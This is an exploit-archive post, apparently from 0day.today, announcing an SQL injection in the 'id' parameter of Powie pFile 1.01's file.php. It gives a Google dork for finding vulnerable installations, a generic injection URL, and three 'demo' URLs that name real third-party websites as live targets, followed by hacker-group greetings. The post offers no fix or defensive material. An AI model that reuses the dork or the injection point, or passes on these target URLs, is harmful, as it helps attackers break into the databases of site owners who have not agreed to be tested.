Powie pFile 1.01 SQL injection vulnerability

+----------------------------------------------------------------------+
# Exploit Title: Powie pFile 1.01 SQL injection vulnerability 
# Google Dork: inurl:pfile/file.php?id= intext:"-- pFile 1.01 OS"
# Date: 22/06/2012
# Exploit Author: Tunisian spl01t3r
# Version: Powie pFile 1.01
# VEndor : http://powie.de/ 
# FB profile: www.facebook.com/TN.spl0it3r	 

	 ____ (_) ____   ___
	(  _ \| |(  _ \ / _ \
	| | | | || | | x |_|
	| ||_/|_|| ||_/ \___/
	|_|      |_|
	 _ 
	(_)  ____   ____  ____     _____ 
	| | /  __| /  __| \__ \   /  `  \ 
	| | \___ \ \___ \  / _ \_ | Y Y  \
	|_| |____/ |____/ (_____/ |_|_|__/
	
+----------------------------------------------------------------------+

[+] Exploit :

http://www.site.com/pfile/file.php?id=1[SQL]

[+] Demo :

http://www1.otp-clan.de/pfile/file.php?id=7'
http://edv-ssh.de/pfile/file.php?id=12'
http://www.picturebox.de/pfile/file.php?id=48'
and more at gOOgle


+----------------------------------------------------------------------+
[+] greetz to : BIbou sfaxien ; mech lazem ; tn_scorpion ; anas laaribi ;
       jendoubi ahmed ; DoSs-Dz ; chaouki mkachakh & ;) --Geni ryodan-- ;)
	    daly azrail ; med bradai ; 7rouz ; ghazy info ; mohamed bel ;
	     hassen ben mbarek ; prince bibou ; ala manai ; anis van toets
		        Safoine sassi ; DR.hsm ; HAMdi matador....
		              & all tn_spl01t3r's freinds
	                         mAhna mAhna 
	 

+----------------------------------------------------------------------+



#  0day.today [2018-01-05]  #